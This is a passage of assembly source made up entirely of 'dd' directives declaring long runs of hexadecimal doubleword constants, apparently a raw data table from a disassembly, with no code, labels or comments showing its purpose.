dd 27CD982Bh, 3D926157h, 80AC47DBh, 96FDCF8Eh, 0FF59300h
dd 2140D981h, 4D7FF202h, 0C50038D7h, 2BECFB1Ah, 0E2013946h
dd 0BAEF553Eh, 0C8D0AD7Dh, 0FE7D1Fh, 0E5BB3CB3h, 60F9F07Ch
dd 20B4309h, 20B08EC1h, 5E6FE28Fh, 8BCE0B55h, 0EE00654Ah
dd 1D20C372h, 0B9F9E0Eh, 63122046h, 66EE7Bh, 0B41A324Eh
dd 97402337h, 803A9E3Dh, 0D65693A5h, 1E2EDDF9h, 409106FCh
dd 19FD68D4h, 0D80076FEh, 141BF77Ah, 7308EFh, 0E52F1104h
dd 0A4239BE6h, 0A9DD0100h, 7A31DCD8h, 1137001Ch, 8EC39783h
dd 0BD004348h, 0DFA71544h, 14D94DE4h, 0A82B7959h, 8B5D4E01h
dd 0E008E0C3h, 3E0798CDh, 0B25C7291h, 77B91D40h, 0F0D043Ah
dd 0C01A2460h, 27DE30CCh, 0A77C9601h, 9D25440h, 4FBB3860h
dd 6ADC220Fh, 4D7553C0h, 0E7BC4C00h, 5980513Dh, 581900C6h
dd 7AAEA1A9h
dd 0D4B08C5Dh, 24B5ED48h, 0BE002447h, 9467B63Bh, 0C80F0AA1h
dd 0D331C5h, 305BE477h, 2398DDE3h, 4E06807Ah, 7332E676h
dd 0C3170048h, 34DFD8DEh, 867C1D75h, 0B8FA6401h, 5DE3222Eh
dd 9837C08Fh, 0B67BBC80h, 0EA00A0A1h, 9D18F0B1h, 3D16F9Ah
dd 94AF2B8Dh, 0D2C0074Dh, 8700F27Ah, 502F3DFFh, 0B89D35ADh
dd 1FEF4BA8h, 0F9F180B8h, 0A65F582Bh, 4F645701h, 35BC7F9Eh
dd 0EE9669C8h, 77924C74h, 48837900h, 156F2659h, 99214200h
dd 0C135A977h, 0EC8F008Dh, 0E88E15Fh, 8101ED72h, 0A8D05636h
dd 27E09CC2h, 96B279CFh, 10BD0BD4h, 3A70944Ch, 8465F900h
dd 7519A064h, 9B210ED8h, 0E220380Ch, 0BACA2801h, 5B3D9800h
dd 1CF826FFh, 3C03070Bh, 0DEBD908Eh, 31F90FA0h, 0A63DB3CEh
dd 6F118056h, 0D5E7DC2Ah, 12DF424h, 6BF63C08h, 0E0CE25D8h
dd 0C204382Eh, 7FCFF7D4h, 404A2480h, 0D9591EACh, 0B746000Bh
dd 0F7D8516Fh, 0D0032890h, 97FD3750h, 94EBE0B8h, 0C1D20008h
dd 36CA69AFh, 0B30F5F33h, 0EB3B3435h, 6268AF72h, 5AF546BCh
dd 1B200044h, 1780BDAh, 923A3608h, 0EA5F8B6Ah, 0F4128038h
dd 3AC225h, 275D0E11h, 4F91F5E4h, 795B4A00h, 0FC54CCEBh
dd 45ED0071h, 0DFE9187Bh, 0A21FEAADh, 167C7AB2h, 0A8007E7Dh
dd 28120CE8h, 37B83D79h, 0A40DDF00h, 0BB5278FCh, 1BDED405h
dd 0B887126Dh, 0EC2B8B10h, 0D0A60428h, 90862F9Fh, 5AE930F8h
dd 240072EEh, 18017E4Ch, 1332634h, 731E444Dh, 0FF5C50BDh
dd 4C6B41B0h, 4A1C400h, 7BB8D913h, 75DE00E2h, 0C6353F6Ch
dd 49072082h, 0C36158CFh, 5B8BFD10h, 64030039h, 0DA7A3E75h
dd 0B9004090h, 0F84811FCh, 0F6B776C2h, 20F5A17Fh, 71610880h
dd 0D4E588E8h, 89EB6900h, 8D128387h, 5CFD0F55h, 7BC04608h
dd 8B8A151Ah, 83E6E800h, 0A7FAEC9Bh, 0D15607B1h, 7028D355h
dd 0BE2FDE43h, 81F06C07h, 6B001B8Fh, 0FA373EA4h, 63C7EC51h
dd 49F47163h, 8C774797h, 0D51D83D4h, 0DF1D8472h, 2E94AA1Fh
dd 92690010h, 64C3E863h, 0DBEA3A5Ch, 1C20403Bh, 1023E630h
dd 1F602994h, 8ADC2476h, 83202CF5h, 0D3E6638Ch, 0D46CF7E0h
dd 0E04D8406h, 5C2070A0h, 0DD003BE8h, 744E897Ch, 0F0E86424h
dd 0DE84B303h, 0A033D3C4h, 0A9C36B4Dh, 4C0C2D60h, 92D58407h
dd 0ED908E47h, 0E89454h, 0CBCA3A9Dh, 0AAAFBE8Ah, 6CA00A60h
dd 0A338B7h, 6A501AEDh, 8210356Bh, 0AD1F9809h, 89CD037Ah
dd 37FE069h, 0FDB81F5Ah, 71600086h, 0DAEDE8A0h, 38207260h
dd 0C06E6110h, 0AA5F7A90h, 89604603h, 0ACC92630h, 0EC623880h
dd 7004D387h, 0E40CCFEh, 0A778416Eh, 9881DCB8h, 69E09049h
dd 0A60C30BBh, 73A07740h, 0F1907154h, 244E1913h, 0F746E806h
dd 9A163F9h, 89E610E8h, 0E5603DECh, 7C393A51h, 0C05B711Dh
dd 72D37F70h, 8606BFAFh, 87938176h, 0F52E0141h, 0E36D0BB2h
dd 1448BE69h, 1BA21F1h, 7A7D9EEAh, 989FAA73h, 36958122h
dd 0BA38E999h, 71EE60h, 0FD67D77Dh, 923438A8h, 0E87EBB00h
dd 0F9ED0360h, 1F2FC401h, 57667F26h, 6124093h, 89898F91h
dd 17306858h, 5501EF0Dh, 8D2107F3h, 218073D1h, 5A305445h
dd 0B4EE55C3h, 11E9EF0Ah, 79028CF3h, 0C06203B5h, 2B867Ch
dd 5588E7CBh, 0A2C8F634h, 6182ED14h, 3E16984h, 0C608D33Ch
dd 12417830h, 40769038h, 0A8D99730h, 0AC0CDE20h, 9F484D3h
dd 3721C093h, 0DE2BA8E1h, 854B1D12h, 0F3ED0807h, 23FD9453h
dd 23260551h, 0F4DE1D05h, 222828h, 42FEA8DCh, 3F13C138h
dd 99A901F9h, 9130DE00h, 1A259403h, 0E044CDC8h, 25F09h
dd 62AC9F5Ch, 71C50181h, 86B9D807h, 0EF73BDB2h, 0CD80CD26h
dd 523688h, 0DEE5835Ch, 7BF73B53h, 1569E400h, 3DD32CACh
dd 23F40062h, 0B2CB2491h, 0C41F65D2h, 0DDC06F61h, 41E4CA8Eh
dd 3B4A00E8h, 0D3042EC7h, 0D4094BB0h, 80C57B01h, 6510D13Ah
dd 6A713E9Ah, 0FB46A6h, 4E860631h, 88EE89FBh, 2B3A7F00h
dd 0E638F695h, 0A2D1F502h, 7536F4h, 5806D901h, 654607BBh
dd 42BFFF00h, 0FB6EC29Ah, 1E4C3785h, 7108360h, 5BD01AA8h
dd 9BBE6B3Ah, 0DB18E98Eh, 0ED5FD8A2h, 0D3FF039Ah, 32E2D5FAh
dd 69511BF8h, 3964C800h, 0D49E5C40h, 0ECF9189Fh, 16588E1h
dd 64484609h, 58067FC4h, 316919D0h, 7801D522h, 86D5602Fh
dd 2798D3E9h, 58AC0391h, 0EC531751h, 922B0D90h, 1065D328h
dd 5D58AE08h, 0EE3F001Ah, 0ED6DCB63h, 0BCF08403h, 0BEB8CCDh
dd 76AC2BC1h, 3904480h, 19C0E5A7h, 0D831830Ch, 0DE413B3Ah
dd 11434480h, 13CA6130h, 57E6C000h, 0D0C50222h, 0C321000Eh
dd 71B6174Bh, 0F91D3648h, 8E004F23h, 473E6E7Bh, 0EE50193h
dd 0F6CD786Ah, 35C4D069h, 580020D3h, 0BC792647h, 0E9C71F31h
dd 1BFA4BFh, 0C68C8E18h, 4E288021h, 0FB30CB56h, 17B106BBh
dd 8C9A352h, 208A7F30h, 30F2E1h, 0B42CC781h, 504F28D7h
dd 1F27C600h, 0B826DDFBh, 0A3932671h, 244007A2h, 364E6006h
dd 8D00F8E4h, 513F18B7h, 1B3CC430h, 888EC7D1h, 904EC932h
dd 30CF3080h, 0D1BC1711h, 0DD808288h, 0F91230F6h, 29C5005Dh
dd 0BF31B2F8h, 7230F0B9h, 0E1346859h, 4846E0A7h, 0C0744354h
dd 0EB9D8E90h, 30001DD1h, 0E44176A1h, 15857A7h, 0CA227028h
dd 30486E44h, 85005D3Dh, 0B3E771B4h, 0F3F62D8h, 9B7C4024h
dd 0E8576006h, 0C73C1F00h, 0FF7A3966h, 61101DCh, 67608B46h
dd 53FD3072h, 80861C3Ch, 23EE7E7Ah, 25EC258h, 0C413D7A8h
dd 72C30D3Bh, 3155D898h, 700E38h, 43A3F08h, 74819EFh, 0CE62BFE4h
dd 29A3037h, 0E0F28382h, 8BEE801h, 0B236AFDh, 56E07F8h
dd 65B75330h, 4CC0EA47h, 0EF1611h, 0D04C54EEh, 0E1775BA9h
dd 0DC5D900h, 0C8FD426Ah, 0C420004Bh, 1524E675h, 0A916B28Bh
dd 0D40CC956h, 3B2218B0h, 0C100EA23h, 5B9728D9h, 0BD1843F7h
dd 0F459562Bh, 0F01800CEh, 26F624DAh, 0AD7E44EBh, 6000BEAh
dd 35CF54D5h, 0EE4B60EEh, 0C0C274F1h, 78B44C38h, 4D3BE7FDh
dd 0DD621D41h, 0DB49A781h, 52DC1465h, 0ABC300F3h, 88B773CAh
dd 24019841h, 0BF655EC0h, 0EFFC56CFh, 28C1C09Fh, 0E5B56683h
dd 6D20CE00h, 9009A31Fh, 0D33331F7h, 0E0EF4CD8h, 6F00D2A8h
dd 0D9DAD5A5h, 0BE54D7h, 66225C69h, 0D4F9ABC1h, 0DB2E60Dh
dd 1EECC1E3h, 0FAB30CACh, 7E88D64Bh, 0E2AE9306h, 210A8E7h
dd 555A4651h, 8CA0C353h, 1A2BD9CBh, 406F9F7Eh, 4B3B80F0h
dd 0A3B236h, 0C4D46221h, 2008CCECh, 8BDE2D00h, 548347DAh
dd 0D0CD3E25h, 9AC4448Eh, 40FF3967h, 82950152h, 7465E00h
dd 493440FEh, 6B2C3D08h, 7D4D1882h, 97609913h, 5500F875h
dd 46B7B301h, 78042AE4h, 9B190731h, 13D98C08h, 0ACF005D6h
dd 0D81668FDh, 420376BFh, 3779588h, 12C63149h, 0C7B825DBh
dd 0F4008C44h, 85C58003h, 1CE633Dh, 31D4FAD5h, 0F476AA54h
dd 2C601728h, 0A6AFA769h, 1FC00005h, 5263B382h, 0DB7A0ABFh
dd 315C9500h, 48A1EED2h, 1BFF06DFh, 0E89228BDh, 3596D600h
dd 0A5190653h, 0B10344B0h, 5BDDB700h, 0EB8EE1A4h, 5C8A00A9h
dd 71FEE67Dh, 0EE00C9E0h, 0BBA7D7AFh, 71E7FC94h, 1CB27AEBh
dd 0C116BC24h, 0A460E038h, 448A1DFh, 60BFB170h, 368710D0h
dd 811DABB4h, 8D07EFF2h, 88D0B8DDh, 0FB17DC0h, 0A6E9C2D5h
dd 2962BE1Dh, 7A21AC43h, 0E902C15Dh, 0AC6FB913h, 0C3123702h
dd 0CD511098h
dd 8C3100D5h, 7487EC4Ah, 63380116h, 0FB24BE65h, 1D26D8BFh
dd 56B4B700h, 23CDF0B6h, 965F0097h, 425ACA32h, 0B303677Ch
dd 0A55563A9h, 8F06803Ch, 378B092h, 7F3D1B9Bh, 0F0785C23h
dd 12B54B00h, 26A085B6h, 33C0F9Fh, 0B140B2CFh, 68B8A36Fh
dd 4EECA25Eh, 5E886D00h, 0C6D71DA7h, 78003073h, 69539CEBh
dd 9F4ABCh, 6FB086D4h, 0C6742885h, 9AA582Ch, 35A9FA00h
dd 1C8D0956h, 0C02F125Fh, 616C0531h, 6A00B73Dh, 703E5080h
dd 0E8A664h, 518B1CCBh, 67A85C9Ah, 0D388EE01h, 5E5A22D9h
dd 7D25D440h, 261C4802h, 4AB19903h, 7A1C8ED7h, 0BAC01254h
dd 28B4ED10h, 0BE5FCCEh, 212331C6h, 4B803700h, 0E100870Dh
dd 34446625h, 866ED8h, 0C22F4915h, 5B6A73A3h, 0D3FC3F00h
dd 0EE37ACB8h, 289900DBh, 756FE9F1h, 7F007B2Dh, 3C8D8C0Fh
dd 8A7EAEh, 0FD3D869Ah, 32F1ED1Fh, 1A00F6E0h, 1E7125Dh
dd 90A7F74Dh, 1B4C012Ch, 85589C1Eh, 7473F8E6h, 0B104E00h
dd 2DD67950h, 46C53907h, 139D8000h, 23696FA7h, 0D16A9A00h
dd 0F73FB72Bh, 0F809853h, 0A1D6F00Ch, 0AB5159A0h, 0E4E5ECAAh
dd 6D004FE2h, 979B201Ah, 1E1738D0h, 4BB4819Dh, 2383CB8Fh
dd 1C88D3Fh, 1071886Eh, 4008CFAh, 0D6ECF256h, 7B1C5D8Ah
dd 0B5030069h, 43E22506h, 4100A83Ch, 0F1BB160Dh, 66D62Dh
dd 3B1062ABh, 266BDBDEh, 61C34F03h, 9881EFF7h, 4CAB905Ah
dd 0E400BB5Eh, 35D53894h, 9F009E3Dh, 0ED74AAE2h, 13177Ah
dd 5E041EB9h, 4385DE6Ah, 95D64700h, 0CEB62C8Ch, 56DC005Bh
dd 68548B58h, 34003D10h, 757E2350h, 0F64083h, 27C49192h
dd 5FC0BEF0h, 48679C00h, 85C7E770h, 291D0081h, 0A34A3CB3h
dd 0F800F691h, 0C4A86B84h, 0A0517BBBh, 90A05DA3h, 0C0821F30h
dd 9A794738h, 0E9C650D3h, 6E0011EBh, 6C7E8D04h, 7AAA0Fh
dd 27924577h, 1A53C80Ah, 56F2F104h, 0DC801973h, 72A546Bh
dd 0DD0D8802h, 27CD206Fh, 73E02128h, 13235612h, 0A41DB40Eh
dd 0D9802F80h, 7882F3h, 96AFFD7Ch, 1224C76h, 4895071Ch
dd 0F9E0A0C0h, 1410C7DAh, 0D4CE7058h, 0C0D4E31Dh, 87AD377h
dd 1201638Eh, 0BA34C640h, 8C30829Ah, 0F45FC87h, 0C9A8A737h
dd 0D1479BE0h, 4E003502h, 0EA06BE5h, 6081D4h, 2B386DDEh
dd 0E17817B0h, 30257600h, 0BCC784DDh, 46E3009Dh, 59B54DA6h
dd 5D01A510h, 7B04C30Ah, 807F2C09h, 0F6239439h, 485BEA00h
dd 771B8BBDh, 67C0043h, 0F04CF383h, 0C800818Ah, 0B703A960h
dd 169712Dh, 0C027337Dh, 0CC7A5EF7h, 57394AD3h, 117380A5h
dd 0E60F31B3h, 606D02C5h, 0E833B8DAh, 775AAE40h, 0FA076400h
dd 0B7ABDCD0h, 2856000Bh, 43E9B9DBh, 15016C8Ah, 0FCBBC15Fh
dd 0A1F43436h, 44984C8Ch, 70937B00h, 6CA44A25h, 63021900h
dd 5A86850Dh, 22391279h, 1FDC01EBh, 803D0121h, 0AAEF9D8h
dd 0EC155EA2h, 55BD00BBh, 0C5FE97C3h, 6B04F282h, 8C4D0799h
dd 51306FBh, 71E019F5h, 63734114h, 8E1100F3h, 98A840E4h
dd 4506002Ah, 55668C2Eh, 0D600DD35h, 0A54F4164h, 821986h
dd 983EB9E1h, 0D5041048h, 0E340F202h, 684B7574h, 0AF72F4h
dd 0A5F49B56h, 3C46AE84h, 0C504D200h, 224455F0h, 0C988001Ch
dd 62C1454Ah, 0E6A0A5CDh, 7100B71Eh, 50188FB9h, 0CBB0E4h
dd 77D4635Ah, 5361093Dh, 6437A800h, 3842A366h, 0DE880018h
dd 0FEEAF872h, 7F01F3C6h, 0ED26FF53h, 30605E65h, 1D27F9Fh
dd 17098F24h, 0EC3907D0h, 7700DD08h, 49DAFA2Dh, 98B07C4Eh
dd 6BDC0267h, 57F8977Bh, 0AE94F8C0h, 9DC74A00h, 0E9F67990h
dd 92C0002h, 0F79B63E0h, 4FF0DAEEh, 0B80D1C3Dh, 8FB50F20h
dd 7603B68Ch, 887D01ADh, 0A2B1E5Dh, 1F17E50Eh, 76E40EF8h
dd 0DCB66BC0h, 0FC30BDCDh, 9D3F3833h, 9E94001Dh, 511B3639h
dd 200F0A02h, 87C3FDADh, 0F7B271D2h, 14D96045h, 0BEDA0156h
dd 18EB3510h, 0E94C0B9h, 0A371B400h, 8BC2070Ch, 32BD0078h
dd 0B1C529ADh, 0A00023FEh, 0F4C3B511h, 0B249E9h, 0E6F94CE0h
dd 1E29B9AFh, 1B840800h, 60BB61D8h, 0ABC0040h, 0CF6DA03Ch
dd 9700815Fh, 0B5B7497Ah, 0E2185073h, 0B490F5h, 66CE6414h
dd 93872A23h, 1F1A2E03h, 0F0CD573Bh, 0CF650Dh, 0F5ECD972h
dd 0FCD3405Ah, 1DB1064Ch, 2009E34h, 0D7F83CCh, 0EDCB8DAh
dd 6174E1A1h, 0E004DCE7h, 7A07CB6h, 9C0065F6h, 0FA3CE254h
dd 751A5185h, 53C01437h, 4400B03Fh, 842E9456h, 0EE4C782Ch
dd 4D4F0048h, 8F4E119Dh, 949E003Fh, 2684E6E7h, 7B04085Fh
dd 0CDFD92A0h, 70B23FC0h, 0F0031EA5h, 820C026Ch, 0EA819508h
dd 0C42D5FFAh, 8E00BD26h, 54FBB029h, 0EC93F3BFh, 68790042h
dd 9951EB5h, 410F770Bh, 1A3D356h, 5C0226EDh, 3D1FFE8h
dd 0FBA4F61Fh, 581F946Dh, 5D403D78h, 5F0C4BC7h, 46EC53h
dd 6A37ABAFh, 0A4866D7Dh, 960064E6h, 0D7C02AF7h, 0B45B6E9h
dd 0B5EE9B1Eh, 3FD198A1h, 0BF42410h, 7C3BB403h, 0F02C859Ch
dd 3E6CF7FAh, 0A702C44Dh, 0A5BC311Ah, 615976E0h, 392D1307h
dd 0DB10057Ah, 12946720h, 8124C5A9h, 0D037FA4Ch, 0D21E6E87h
dd 2103637Bh, 0B8E35BB3h, 607C9B5h, 8FB65A67h, 0BF01C0BCh
dd 28BEFB24h, 91E81E2Bh, 8CCC004Fh, 78D2626Ch, 5B007584h
dd 0E57FCDDEh, 2B65Dh, 0BA3823BFh, 0E0B9EE40h, 3AA57E00h
dd 6071B111h, 9AB303F1h, 8168E327h, 6075E6B1h, 0E004068h
dd 77203188h, 3DABBBh, 6194BDE9h, 0AFAC8598h, 7F9D9000h
dd 2E769272h, 96B200CBh, 7DE6866Fh, 0D800DA40h, 922CA851h
dd 0E8AF0C39h, 0E790F65h, 3AC0A525h, 0DD4DF41Fh, 0DA35FD00h
dd 0F18AC497h, 8C573023h, 0E0D66240h, 0E57CD128h, 195D2E30h
dd 0CC4770h, 0CA815A3Bh, 2756C80Eh, 0D81CB77Ch, 0E7C0E306h
dd 0EE15454Eh, 13370023h, 78082298h, 7BEAB74Ah, 910E5C00h
dd 6C74BAD8h, 70AC0151h, 0E427615Fh, 1064204Ch, 90186F07h
dd 38005220h, 968B4187h, 59C30028h, 0BB03B68Ah, 0F98ED407h
dd 9973FCAh, 0D96F97C0h, 63F25Fh, 75F889D6h, 305A0F1Ch
dd 8D221912h, 0BE875800h, 1ECE773Ch, 83519D4Eh, 0E620D982h
dd 3DF600Bh, 0E58AF46h, 938920F1h, 1801AB57h, 1897EFB4h
dd 473A03D1h, 67E10A6Eh, 0D906183Ah, 49A809h, 0C4BF8D50h
dd 88C07D25h, 0A638BBF2h, 7323003Bh, 9AEF8E53h, 0BDA81F61h
dd 67AD400Eh, 0E1498BDBh, 66785F50h, 50E41900h, 0F0FB773Fh
dd 78450E4Ch, 14202AECh, 18A59FD9h, 8C510401h, 15ABD05Bh
dd 7FE2048h, 28EE57BDh, 8C1DC30Ch, 0AA761901h, 497BDF77h
dd 90A1B1C0h, 0D9A607BFh, 0E0590AE0h, 66F199Fh, 91C95400h
dd 4BA735CEh, 83720066h, 5B67F6AAh, 0BF007184h, 779EC329h
dd 3C38BDh, 4CC1BC4Bh, 4AB44182h, 992C1400h, 9B251D44h
dd 0DCDD0012h, 56E040C3h, 0B000DB91h, 77FF5145h, 0E8E2EAh
dd 0DA13249Ah, 73FEFC31h, 0B518D500h, 0E36283F9h, 0DB6B3E94h
dd 38471D80h, 0C3EA54CBh, 7786F600h, 0B74C632h, 45FE004Dh
dd 4F35CA8Fh, 600B979h, 5DA1DDB1h, 851847h, 97A3FED4h
dd 8FAF320Ch, 0A26C9800h, 9D58E520h, 5507EC74h, 33F4E4D0h
dd 6D7212h, 0EEA83B8Dh, 4D101A34h, 60EB0C00h, 0BC855499h
dd 62E00CC2h, 3F387201h, 0A239E112h, 0E2030C40h, 198CA76h
dd 0EFF39CF9h, 0F4D516B5h, 2F0A7E3Dh, 0E06813A7h, 4EF29A04h
dd 9C50C8h, 0ABD6467Dh
dd 80D8102Fh, 0CEC75A00h, 5666751Ah, 6F8E00B2h, 87E30390h
dd 900D8C0h, 9685B171h, 78D95Dh, 931FEF60h, 0D89DD073h
dd 805C00Eh, 0E1DB4C3Ah, 0BBBC0148h, 17A1F4B3h, 91B6D43Eh
dd 0F19FE700h, 9EE60F7Fh, 93601709h, 505A00C7h, 0A80A22E8h
dd 97DD50C7h, 13FAD990h, 74A70704h, 40687671h, 93CAD581h
dd 75B852C6h, 31380210h, 4053AE43h, 1EE0D163h, 0EE5C5C4Ah
dd 8C6A3F1Eh, 3822E192h, 0D3B30038h, 7DD58E8Fh, 7E002C67h
dd 0F01C6387h, 60858070h, 0D3A5328Dh, 12008C27h, 0EAB17A9Ah
dd 687C7495h, 5F041015h, 0B794C506h, 43D0010h, 701B54AAh
dd 17006CA8h, 2564529Ah, 0C52883h, 7C348B95h, 555F923Ah
dd 6D5C28C4h, 0A905CE00h, 0B00E575h, 0BBE14145h, 209463Ah
dd 0DF7093DEh, 9EC08E61h, 13032966h, 0B9C2BD95h, 2A30AF58h
dd 12CDC5h, 197BE74Dh, 0A88274E6h, 56589B00h, 300ED41Bh
dd 2FDC015Ch, 0FCBE4749h, 0BCF9C02Eh, 5D6A1603h, 881E649Ah
dd 7A2691E8h, 384E3C40h, 0BA81280h, 0CEBAF2D1h, 2DECA400h
dd 4F27BCFAh, 845100E5h, 63670BF1h, 0D400CE23h, 99D29DFCh
dd 0DA5A29h, 11CA0A3Eh, 0DF8ED530h, 60347400h, 0BE900EABh
dd 582700C7h, 0A46C9E4h, 98004FD7h, 41844E29h, 7D563Ch
dd 0A7B66AA4h, 157F2CD3h, 0D2E3E600h, 8805C10Dh, 3B0C7075h
dd 0CD1E385Ah, 78655878h, 7001639Bh, 0D0D35FDBh, 0BFC8F7D4h
dd 5BD03C8h, 0A75AE301h, 0B1425B90h, 380D71Eh, 4A4F0DC1h
dd 0BDCC5CA6h, 20FD0379h, 0E92DE062h, 605A06F9h, 69006C49h
dd 0A5AC2449h, 17B291D7h, 0E7E31Bh, 4F823813h, 0C905292h
dd 0F1EDA600h, 0ADF3FDD2h, 0A3991479h, 9100EC42h, 0C9171038h
dd 5F00B595h, 6DEA716Fh, 4C6E2D05h, 42009690h, 2ABA965Dh
dd 210A63FFh, 0E8CA4CE7h, 1FA37E80h, 86FE8Eh, 5B29EC8Fh
dd 80540255h, 6D620600h, 0DAD6A375h, 77CA0020h, 93CD2E1Dh
dd 0AA3CBAB8h, 809BB95Eh, 204851A4h, 1E61D4A7h, 3979608h
dd 9BA2410Eh, 821480C4h, 401C17F6h, 7BC0DD24h, 67A91ED7h
dd 48C0988Bh, 410FCC9Dh, 0AFA19032h, 20B1FBC0h, 85001F84h
dd 0F80E69C1h, 0FA559Dh, 538D0568h, 48240BC9h, 4134F00Eh
dd 714CE0A0h, 1DB2DEh, 80D5893Ch, 8DC32E2Ah, 0A8183170h
dd 5DD06E5Ch, 0CDAB007Eh, 0CE277356h, 0DE1D8EDAh, 3A80A4EDh
dd 18148930h, 0AB90A0B6h, 2A740761h, 0D0206A9Bh, 7D8DDDB0h
dd 474ECCA0h, 7E1A0E00h, 2D2902D3h, 282000C4h, 7A4B75C1h
dd 670024C8h, 0DBC778BCh, 0FC9EAFA1h, 2479F8C0h, 7C8006h
dd 0FB1845C9h, 6A00DCCAh, 50CF3ACBh, 7875C76Bh, 7CAE004Ah
dd 68747633h, 0EF720BA6h, 0E093C400h, 9BC862E2h, 2DE9001Ch
dd 8C159FA1h, 644DD7B0h, 40440028h, 921E059Bh, 0CE9FC5Eh
dd 7F75706Ch, 2F00E268h, 847B7C50h, 3560A3h, 0DC147611h
dd 0B4E5EEA4h, 0E3EDA801h, 10D003B5h, 0B0DF5031h, 0F89D64h
dd 0F6CF8816h, 0C9CA25B8h, 9B0BBAE0h, 802135A2h, 819830D0h
dd 0B18B3094h, 4631E9E8h, 9625FE03h, 0F8BFA08Dh, 8C76F2h
dd 16A2AC91h, 828BC7A8h, 41EB590Bh, 0E3EE00D0h, 1DF1F90h
dd 32E9AC79h, 2098F373h, 0F600030Ch, 8CF26DE5h, 6F89E1h
dd 461609FFh, 3D98DFFDh, 0D628A52Fh, 7560009Ch, 1061C6C2h
dd 94C9BD00h, 51D1125Dh, 3CF40036h, 376681B0h, 0AB3A7DA2h
dd 809E3E09h, 0D39BC5CDh, 58D1D628h, 0D50023A6h, 4D914ADDh
dd 0CC0319B1h, 820E5A04h, 74D1B040h, 1E8C907Fh, 30636Fh
dd 3990F42Ch, 0A2012596h, 356E57DDh, 45DC92EDh, 40D10193h
dd 0F64BB3D6h, 9860DC2Fh, 88A63700h, 0F48EE89Ch, 0BE1E02DDh
dd 6AB485A7h, 3569AB40h, 0D222EE04h, 80C03378h, 32C5BC7Ah
dd 351193AEh, 0A000025Ch, 79A380A6h, 0E93D2ECDh, 0A78900F6h
dd 310BF0FDh, 0E342960Bh, 0F24020AEh, 50DC81A9h, 785ACA61h
dd 237FE22h, 0FC24B5E1h, 99C2FE0Eh, 0F4064441h, 2D00DE36h
dd 51B4D005h, 0F675ECh, 0B3A6B0BAh, 5BAD154Dh, 0F7830F2Eh
dd 6F704E00h, 16B3F26h, 7EEE5AFEh, 0C5CDE905h, 0C4F54015h
dd 0E4006A08h, 40807ACFh, 86CC10h, 0CE53DBA6h, 967555Ch
dd 1EB91507h, 14002D75h, 912C839Fh, 1C6007F0h, 5CADE089h
dd 2003D5EBh, 0BBD73B43h, 0C853DA57h, 608EB1B0h, 0E4626438h
dd 1FFC56DDh, 86A60801h, 0EAC13609h, 1BB3AECh, 0F9993B3Ch
dd 0C4F6C859h, 0B500C768h, 5E91F1FFh, 0C0860335h, 0AF569A80h
dd 0A4A81D93h, 26304E92h, 80AD707Fh, 0C7DF07FEh, 41C4F170h
dd 410C92C9h, 40B1AF10h, 468F981Ch, 6774407Bh, 6F2F4448h
dd 839FEF18h, 0D0F2482Eh, 0B06B2A29h, 0B7A000D8h, 0C5BBA7AFh
dd 9A7BA4F0h, 0BE00FDF8h, 0E7AC5E3Bh, 0B0602018h, 6970F45h
dd 0FC005D98h, 62C77C40h, 0DE2E3307h, 2F99A69h, 86961C9Ah
dd 7D8894Ch, 1D13C74Bh, 9D8BC106h, 6E56D077h, 0FD89960Bh
dd 1554A0DCh, 5887609h, 0D201D34Dh, 310C01DFh, 809868E1h
dd 96BA40C0h, 10CA7Eh, 0A66E2CFAh, 3EC39939h, 29B6E900h
dd 0F580B965h, 42010052h, 35771C7Eh, 0FD0191DDh, 8E9C5F39h
dd 4CC02413h, 3A540049h, 8BE1CFA2h, 5500F8F6h, 3BB0FCC4h
dd 2F6286h, 51783269h, 27AD748Ah, 88C08400h, 55362D47h
dd 14A0005h, 0C3736B97h, 8C0611FEh, 7936429h, 4C5E003Eh
dd 4F5CA77Bh, 8B001BA4h, 0C048612h, 14D0D39h, 83DD59C7h
dd 0F09A7E7Ch, 0F7C65CFh, 487DA405h, 0A4402172h, 3ADC371Ah
dd 0FCE028C4h, 0F1283AD8h, 80D04E26h, 0DDC2F6Dh, 920097DAh
dd 33875F9h, 7801C790h, 0D860C171h, 1692BCCh, 38805C3Eh
dd 0DFA7F488h, 8D35E9EDh, 24D0289Eh, 30BF9B27h, 0F5111CC5h
dd 1EC0E1C0h, 926846EFh, 0CA08C6F7h, 5200209Bh, 3A29E1CBh
dd 3E0C1E4Ch, 0AD809AC2h, 5A288105h, 0D231FC15h, 309C6168h
dd 48E52C70h, 637E18ACh, 11D8085Ch, 4B3E2003h, 88853871h
dd 0D2467F1Ch, 65590DB8h, 10A0B1D1h, 8401F8D9h, 62B9D85Bh
dd 0FE477000h, 2718E1E7h, 54E048F4h, 0A463007Dh, 202BD586h
dd 0F101A1DDh, 0EF4268E6h, 88F07CE4h, 0FD6E38BEh, 4372D280h
dd 5102A71Eh, 87EE1D00h, 0BF628B29h, 780EE08h, 0C93EDD0h
dd 0B70A1046h, 8CB0719Bh, 0BD122F16h, 2CB4901h, 0F4610144h
dd 1B5420h, 9C9EFEEDh, 0F13D9F6Eh, 3D47D358h, 0DD849DE6h
dd 57ADCD40h, 463C23h, 88BD7C69h, 912B3534h, 830D0103h
dd 0F85BE4B1h, 1643BD7h, 28718DC0h, 0DD927D95h, 193B3061h
dd 5440FAEFh, 0EB1E9F67h, 310015ECh, 0A8BD5EB7h, 0EA789F0Ah
dd 0FED550C0h, 0DAF74Eh, 6D153550h, 0F811295Eh, 0D29B2500h
dd 85C3B967h, 0A0100D5h, 270E9E34h, 6F2F30F5h, 0EC83F8B3h
dd 23C1F6Ah, 0D2830B5h, 1D00B61Eh, 0A8CB890Ah, 0FC7D8Bh
dd 1ACE35F6h, 33E1F238h, 208AFA03h, 0FEB22F37h, 0C3750318h
dd 9F53AE7Dh, 7A73490Fh, 2A6FA08Ah, 6ED0BFD9h, 0CC61703Ah
dd 0D1F95176h, 859FC584h, 0E4207CE8h, 0B1599441h, 7E4422Bh
dd 0FF1500CAh, 0E0FA08DEh, 0F8C12754h, 9ECCB201h, 0F2D015C3h
dd 600880Ah, 2AF7FBA2h, 4130BA07h, 698019EBh, 0A07C0CCBh
dd 4DFA207Eh, 0E5AF6D01h, 0A610E456h, 38338D0h, 0EE271429h
dd 0FBE8F160h, 0FF07D396h, 0E727D1Ah, 42ED7B21h, 7D322EE8h
dd 0B96075Fh, 607D54E2h, 0D5B394E4h, 0CD281C60h, 33039FAh
dd 7F1E8352h, 83373AAh
dd 981721C3h, 6774F39h, 0C2FEF131h, 75304840h, 0CDEE69B9h
dd 0A57E00F5h, 1E964AAEh, 0C2EFC25h, 5900FFDFh, 9B6B062Ch
